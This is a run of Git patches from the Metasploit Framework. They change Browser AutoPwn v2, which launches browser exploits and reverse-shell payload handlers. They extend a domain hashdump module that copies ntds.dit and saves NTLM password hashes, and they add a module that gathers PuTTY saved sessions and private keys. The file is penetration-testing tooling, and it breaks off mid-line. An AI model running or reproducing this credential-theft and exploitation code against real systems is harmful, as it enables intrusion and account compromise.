UAC to be bypassed first" status = false end + unless session_compat? + status = false + end return status end @@ -105,6 +108,16 @@ class Metasploit3 < Msf::Post cmd_exec("esentutl", arguments) end + def session_compat? + if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/ + print_error "You are running 32-bit Meterpreter on a 64 bit system" + print_error "Try migrating to a 64-bit process and try again" + false + else + true + end + end + def vss_method id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\") sc_details = get_sc_details(id) From 66391493f42886d1dbbc503ab7d93dd2257956a1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 15:34:01 -0500 Subject: [PATCH 0076/1013] Pass only the datastore options we need --- lib/msf/core/exploit/browserautopwnv2.rb | 57 ++++++++++++++++-------- 1 file changed, 38 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5871050b20..8b9df65a22 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -80,21 +80,27 @@ module Msf # # @return [void] def set_exploit_options(xploit) + # We could do a massive xploit.datastore.merge!(self.datastore), but this seems + # really expensive. Costs more loading time. + + # Set options configurable by the user. p = select_payload(xploit) + xploit.datastore['PAYLOAD'] = p['payload'] + xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] + xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] + xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE'] + xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries'] + xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL'] + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion'] + xploit.datastore['LHOST'] = get_payload_lhost + + # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true - xploit.datastore['NoteTypePrefix'] = note_type_prefix - xploit.datastore['PAYLOAD'] = p['payload'] - xploit.datastore['LPORT'] = p['lport'] - xploit.datastore['SSL'] = datastore['SSL'] - xploit.datastore['SSLVersion'] = datastore['SSLVersion'] - xploit.datastore['LHOST'] = get_payload_lhost - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['SRVHOST'] = datastore['SRVHOST'] - xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] - xploit.datastore['CookieName'] = datastore['CookieName'] - xploit.datastore['VERBOSE'] = datastore['VERBOSE'] - xploit.datastore['Retries'] = datastore['Retries'] - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['NoteTypePrefix'] = note_type_prefix + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 end @@ -242,12 +248,25 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = get_payload_lhost - multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) - multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + # User configurable options + # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems + # really expensive. Costs more loading time. + multi_handler.datastore['LHOST'] = get_payload_lhost + multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) + multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] + multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] + multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] + multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] + multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] + multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] + + # Configurable only by BAP multi_handler.datastore['EXITONSESSION'] = false - multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # Now we're ready to start the handler multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, @@ -422,7 +441,7 @@ module Msf urls = [] bap_exploits.each do |mod| - proto = mod.ssl ? 'https' : 'http' + proto = datastore['SSL'] ? 'https' : 'http' host = datastore['URIHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] From 7617217eff96bd3ba46314b335455a1bd5bacfcb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 15:55:19 -0500 Subject: [PATCH 0077/1013] Add ability to exclude --- lib/msf/core/exploit/browserautopwnv2.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8b9df65a22..8ceb15a4c5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -43,6 +43,7 @@ module Msf # Regex search next if datastore['Include'] && fullname !~ datastore['Include'] + next if datastore['Exclude'] && fullname =~ datastore['Exclude'] mod = framework.exploits.create(fullname) unless mod diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 20c17d9721..0ff11b4eb6 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), - OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']), + OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), + OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) From 1a8ab91ce338779fac76b4c450cbd255b3c3c547 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 16:23:22 -0500 Subject: [PATCH 0078/1013] Configurable max exploits --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- modules/exploits/multi/browser/autopwn.rb | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8ceb15a4c5..d4c2191531 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -191,11 +191,11 @@ module Msf # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] - def finalize_sorted_modules(bap_groups, max=20) + def finalize_sorted_modules(bap_groups) @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| - break if @bap_exploits.length >= max + break if @bap_exploits.length >= datastore['MaxExploits'] @bap_exploits << m end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 0ff11b4eb6..c765283a0d 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), + OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) From a2ebfe2bf8327fe9d170c253aa5ed52710ecf13f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 18:05:10 -0500 Subject: [PATCH 0079/1013] Make parse_rank a little bit smarter --- lib/msf/core/exploit/browserautopwnv2.rb | 27 +++---------------- .../exploit/remote/browser_profile_manager.rb | 1 - 2 files changed, 3 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d4c2191531..0bd44943a9 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -41,7 +41,7 @@ module Msf framework.exploits.each_pair do |fullname, plader_holder| next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" - # Regex search + # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] next if datastore['Exclude'] && fullname =~ datastore['Exclude'] @@ -65,9 +65,7 @@ module Msf return unless framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { framework.db.notes.each do |note| - if note.ntype.include?(note_type_prefix) - note.destroy - end + note.destroy if note.ntype.include?(note_type_prefix) end } end @@ -288,26 +286,7 @@ module Msf def parse_rank(rank) - rank_str = '' - - case rank - when 0 - rank_str = 'Manual' - when 100 - rank_str = 'Low' - when 200 - rank_str = 'Average' - when 300 - rank_str = 'Normal' - when 400 - rank_str = 'Good' - when 500 - rank_str = 'Great' - when 600 - rank_str = 'Excellent' - end - - rank_str + RankingName[rank].to_s.capitalize end diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 4408f9886b..bfbea7fb43 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -5,7 +5,6 @@ module Msf public - # Default prefix def note_type_prefix raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" end From 104e0456ec0bb283a24c0e20f05bb0f09dd149f7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 23:41:05 -0500 Subject: [PATCH 0080/1013] Do cleanup for jobs --- lib/msf/core/exploit/browserautopwnv2.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0bd44943a9..b95d3fedda 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -17,6 +17,9 @@ module Msf # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits + # @return [Array] A list of module job IDs + attr_reader :module_job_ids + # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. @@ -70,8 +73,15 @@ module Msf } end + def rm_jobs + module_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + end + end + def cleanup rm_target_info_notes + rm_jobs end @@ -272,6 +282,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) + @module_job_ids << multi_handler.job_id end end @@ -312,6 +323,7 @@ module Msf 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true ) + @module_job_ids << m.job_id end end @@ -327,6 +339,7 @@ module Msf self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] + @module_job_ids = [] print_status("Searching BES exploits, please wait...") init_exploits From 724b7c6f16b489e66977cfe34fcad2c4cf98bedb Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 14 May 2015 13:52:11 -0500 Subject: [PATCH 0081/1013] save the ntlm hases as creds the last step is now complete. the current and historical hashes are all saved to the database for cracking and/or replay MSP-12358 --- lib/metasploit/framework/ntds/account.rb | 4 +- .../gather/credentials/domain_hashdump.rb | 38 +++++++++++++++---- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index 58179950d6..9280a25b8c 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -81,7 +81,7 @@ module Metasploit def to_s <<-EOS.strip_heredoc #{@name} (#{@description}) - #{ntlm_hash} + #{@name}:#{@rid}:#{ntlm_hash} Password Expires: #{@expiry_date} Last Password Change: #{@pass_time} #{@pass_date} Last Logon: #{@logon_time} #{@logon_date} @@ -94,7 +94,7 @@ module Metasploit # @return [String] the NTLM hash string for the current password def ntlm_hash - "#{@name}:#{@rid}:#{@lm_hash}:#{@nt_hash}" + "#{@lm_hash}:#{@nt_hash}" end # @return [String] Each historical NTLM Hash on a new line diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 02a4b73fea..512838f980 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -36,9 +36,16 @@ class Metasploit3 < Msf::Post unless ntds_file.nil? print_status "Repairing NTDS database after copy..." print_status repair_ntds(ntds_file) + realm = domain_name ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file) ntds_parser.each_account do |ad_account| print_good ad_account.to_s + report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm) + ad_account.nt_history.each_with_index do |nt_hash, index| + hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH + hash_string << ":#{nt_hash}" + report_hash(hash_string.downcase,ad_account.name, realm) + end end end end @@ -59,6 +66,11 @@ class Metasploit3 < Msf::Post database_file_path end + def domain_name + result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"') + result.gsub!(/Domain:\s+/,'') + end + def is_domain_controller? status = false if session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit') @@ -108,6 +120,21 @@ class Metasploit3 < Msf::Post cmd_exec("esentutl", arguments) end + def report_hash(ntlm_hash, username, realm) + cred_details = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: ntlm_hash, + username: username, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: realm, + workspace_id: myworkspace_id + } + create_credential(cred_details) + end + def session_compat? if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/ print_error "You are running 32-bit Meterpreter on a 64 bit system" @@ -120,16 +147,13 @@ class Metasploit3 < Msf::Post def vss_method id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\") + print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" - copy_command = "/c copy #{sc_path} #{target_path}" - result = cmd_exec('cmd.exe', copy_command) - if result =~ /1 file\(s\) copied/ - return target_path - else - return nil - end + print_status "Moving ntds.dit to #{target_path}" + client.fs.file.mv(sc_path, target_path) + target_path end end From 92799266c6eb415629a4d693801003a02c9f4772 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 14 May 2015 15:06:01 -0500 Subject: [PATCH 0082/1013] fix typo you happy now? --- lib/msf/core/post/windows/shadowcopy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 3f1748b026..7f6074baca 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -195,7 +195,7 @@ module ShadowCopy else print_status("Software Shadow Copy service not running. Starting it now...") if service_restart("swprv", START_TYPE_MANUAL) - print_good("Swoftware Shadow Copy started successfully.") + print_good("Software Shadow Copy started successfully.") else print_error("Insufficient Privs to start service!") return false From 8bcdd08f34928324aa249cc5d5818040de9b57d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 14 May 2015 19:09:38 -0500 Subject: [PATCH 0083/1013] Some basic code in place for real-time exploit list generation --- lib/msf/core/exploit/browserautopwnv2.rb | 27 ++++++++++++----------- modules/exploits/multi/browser/autopwn.rb | 2 +- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index b95d3fedda..4ac8427296 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -287,15 +287,6 @@ module Msf end - # Returns a list of suitable exploits for the current target. - # - # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. - # @return [Array] A list of suitable exploits to use against the target. - def find_suitable_exploits(target_info) - $stderr.puts target_info.inspect - end - - def parse_rank(rank) RankingName[rank].to_s.capitalize end @@ -430,10 +421,20 @@ module Msf print_status("You can also see 'show advanced' for more options.") end - def get_exploit_urls + def get_suitable_exploits(cli, request) + current_exploit_list = bap_exploits.dup + tag = retrieve_tag(cli, request) + profile_info = get_profile_info(tag) + #$stderr.puts profile_info.inspect + current_exploit_list + end + + def get_exploit_urls(cli, request) urls = [] - bap_exploits.each do |mod| + exploit_list = get_suitable_exploits(cli, request) + + exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' host = datastore['URIHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] @@ -446,10 +447,10 @@ module Msf end # On the fly - def build_html + def build_html(cli, request) js = %Q| var currentIndex = 0; - var exploitList = [#{get_exploit_urls.map! {|e| "'#{e}'"} * ", "}]; + var exploitList = [#{get_exploit_urls(cli, request).map! {|e| "'#{e}'"} * ", "}]; window.onload = function() { var e = document.createElement("iframe"); diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index c765283a0d..a3b666a4dc 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - serve = build_html + serve = build_html(cli, request) print_status("Serving exploits...") send_exploit_html(cli, serve) end From 2d310a473b00c68712ec9b74f54668669c19674d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 14 May 2015 23:32:11 -0500 Subject: [PATCH 0084/1013] Do some documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 85 ++++++++++++++++++- .../exploit/remote/browser_exploit_server.rb | 3 + .../exploit/remote/browser_profile_manager.rb | 23 ++++- 3 files changed, 105 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4ac8427296..fb00f10982 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -60,10 +60,20 @@ module Msf end end + + # Returns a note type that's unique to this BAP. + # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP + # and all of its child exploits can share target information with each other. + # + # @return [String] def note_type_prefix @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" end + + # Removes target information owned by this BAP. + # + # @return [void] def rm_target_info_notes return unless framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { @@ -73,12 +83,20 @@ module Msf } end + + # Removes jobs (exploits and payload handlers) that belong to BAP. + # + # @return [void] def rm_jobs module_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end + + # Cleans up everything. + # + # @return [void] def cleanup rm_target_info_notes rm_jobs @@ -210,6 +228,11 @@ module Msf end + # Verifies with current active modules and see if the payload is wanted. + # + # @param [String] payload_name The payload module path (name). + # @return [TrueClass] + # @return [FalseClass] def is_payload_handler_wanted?(payload_name) bap_exploits.each do |m| return true if m.datastore['PAYLOAD'] == payload_name @@ -219,6 +242,10 @@ module Msf end + # Returns a payload name. Either this will be the user's choice, or falls back to a default one. + # + # @param [String] platform + # @return [String] def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] @@ -234,11 +261,19 @@ module Msf default end + + # Returns the selected payload's LPORT. + # + # @param [String] platform + # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.upcase}_LPORT"] end + # Returns the selected payload's LHOST. + # + # @return [String] def get_payload_lhost datastore['LHOST'] || Rex::Socket.source_address end @@ -246,7 +281,6 @@ module Msf # Creates payload listeners. # - # @note INCOMPLETE # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| @@ -287,11 +321,19 @@ module Msf end + # Returns the human-readable version of the rank. + # + # @param [Fixnum] rank + # @return [String] def parse_rank(rank) RankingName[rank].to_s.capitalize end + # Returns the selected payload. + # + # @param [Object] A module that's been initialized. + # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| @@ -305,6 +347,9 @@ module Msf end + # Starts exploits. + # + # @return [void] def start_exploits bap_exploits.each do |m| m.exploit_simple( @@ -321,8 +366,6 @@ module Msf # Sets up BAPv2. This is like our main function. # - # @see #init_exploits - # @see #sort_bap_exploits # @return [void] def setup t1 = Time.now @@ -348,6 +391,9 @@ module Msf end + # Prints all the exploits that BAP will consider using. + # + # @return [void] def show_ready_exploits columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] @@ -383,6 +429,10 @@ module Msf print_line table.to_s end + + # Prints information such as what exploits will be used, and the BAP URL. + # + # @return [void] def start_service super show_ready_exploits @@ -390,6 +440,10 @@ module Msf print_status("BrowserAutoPwn URL: #{self.get_uri}") end + + # Prints all user-configurable payloads. It's the same as the "show payloads" command in console. + # + # @return [void] def show_payloads DEFAULT_PAYLOADS.keys.each do |platform| payload_name = get_selected_payload_name(platform) @@ -402,6 +456,11 @@ module Msf end end + + # Prints a message that explains how the user should set a payload. This is the same as the + # "set payload" command in console. + # + # @return [void] def set_payload print_status("'set payload' has been disabled for BrowserAutoPwn.") print_status('You should set a platform-specific payload instead via advanced options:') @@ -421,6 +480,13 @@ module Msf print_status("You can also see 'show advanced' for more options.") end + + # Returns a list of suitable exploits for the current client. It will do a global exploitable + # requirement check. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] def get_suitable_exploits(cli, request) current_exploit_list = bap_exploits.dup tag = retrieve_tag(cli, request) @@ -429,6 +495,12 @@ module Msf current_exploit_list end + + # Returns a list of exploit URLs. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] def get_exploit_urls(cli, request) urls = [] @@ -446,7 +518,12 @@ module Msf urls end - # On the fly + + # Returns the HTML that the client will get. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [String] def build_html(cli, request) js = %Q| var currentIndex = 0; diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 8936473caa..104af64768 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,7 @@ module Msf end + # Returns a note type that's unique to this browser exploit module. # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. # There are two way for BES to get this prefix, either: # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with @@ -124,6 +125,8 @@ module Msf }.call end + + # Cleans up target information owned by the current module. def cleanup # Whoever registered NoteTypePrefix should do the cleanup for notes return if self.datastore['NoteTypePrefix'] diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index bfbea7fb43..c834d4a5a4 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -3,12 +3,17 @@ require 'Msgpack' module Msf module Exploit::Remote::BrowserProfileManager - public - + # @overload note_type_prefix + # Sets the note type prefix to retrieve or load target information. def note_type_prefix raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" end + + # Returns profile information about a specific browser client. + # + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @return [Hash] def get_profile_info(tag) normalized_tag = "#{note_type_prefix}.#{tag}" framework.db.notes.each do |note| @@ -18,6 +23,15 @@ module Msf {} end + + # Updates profile information about a specific browser client. + # It will also automatically initialize the profile (an empty one) if it's not found. + # + # @see #init_profile + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @param [String] key A specific key to update (for example: os name). + # @param [String] value The value for the key. + # @return [void] def update_profile(tag, key, value) profile = get_profile_info(tag) if profile.empty? @@ -34,6 +48,11 @@ module Msf ) end + + # Initializes a profile. + # + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @return [void] def init_profile(tag) normalized_tag = "#{note_type_prefix}.#{tag}" empty_profile = { normalized_tag => {} } From f65207ac4024baacffb62329a679b402d066a4a3 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:20:46 +0100 Subject: [PATCH 0085/1013] Initial version, working Needs tidying up. Current version: * Searches for PuTTY registry keys * Downloades the Hostname, port, private key filename, username to log in as and any port forwarding instructions * If the private keys are accessible on the box, download them to loot To do: * Detect whether pageant is running or not and report back * Tidy up code (used another plugin as a template) --- .../gather/putty_enum_saved_sessions.rb | 201 ++++++++++++++++++ 1 file changed, 201 insertions(+) create mode 100644 modules/post/windows/gather/putty_enum_saved_sessions.rb diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb new file mode 100644 index 0000000000..7614f49aa7 --- /dev/null +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + def initialize(info={}) + super(update_info(info, + 'Name' => "PuTTY thing", + 'Description' => %q{ + This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + code from cachedump. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) + end + + +# # Decrypted LSA key is passed into this method +# def get_secret(lsa_key) +# output = "\n" +# +# # LSA Secret key location within the registry +# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" +# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" +# +# secrets = registry_enumkeys(root_regkey) +# +# secrets.each do |secret_regkey| +# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) +# next unless sk_arr +# +# sk_arr.each do |mkeys| +# # CurrVal stores the currently set value of the key. In the case +# # of services, this is usually the password for the service +# # account. +# next unless mkeys == "CurrVal" +# +# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys +# encrypted_secret = registry_getvaldata(val_key, "") +# +# next unless encrypted_secret +# +# if lsa_vista_style? +# # Magic happens here +# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) +# else +# # and here +# encrypted_secret = encrypted_secret[0xC..-1] +# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) +# end +# +# next unless decrypted.length > 0 +# +# # axe all the non-printables +# decrypted = decrypted.scan(/[[:print:]]/).join +# +# if secret_regkey.start_with?("_SC_") +# # Service secrets are named like "_SC_yourmom" for a service +# # with name "yourmom". Strip off the "_SC_" to get something +# # we can lookup in the list of services to find out what +# # account this secret is associated with. +# svc_name = secret_regkey[4,secret_regkey.length] +# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") +# +# # if the unencrypted value is not blank and is a service, print +# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" +# else +# # if the unencrypted value is not blank, print +# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" +# end +# end +# end +# +# return output +# end + + def get_saved_session_details(sessions) + + all_sessions = [] + sessions.each do |ses| + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + end + all_sessions + end + + def report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Saved Sessions", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten + ) + + info.each do |result| + row = [] + row << result['Name'] + INTERESTING_KEYS.each do |key| + row << result[key] + end + results_table << row + end + + print_line results_table.to_s + #stored_path = 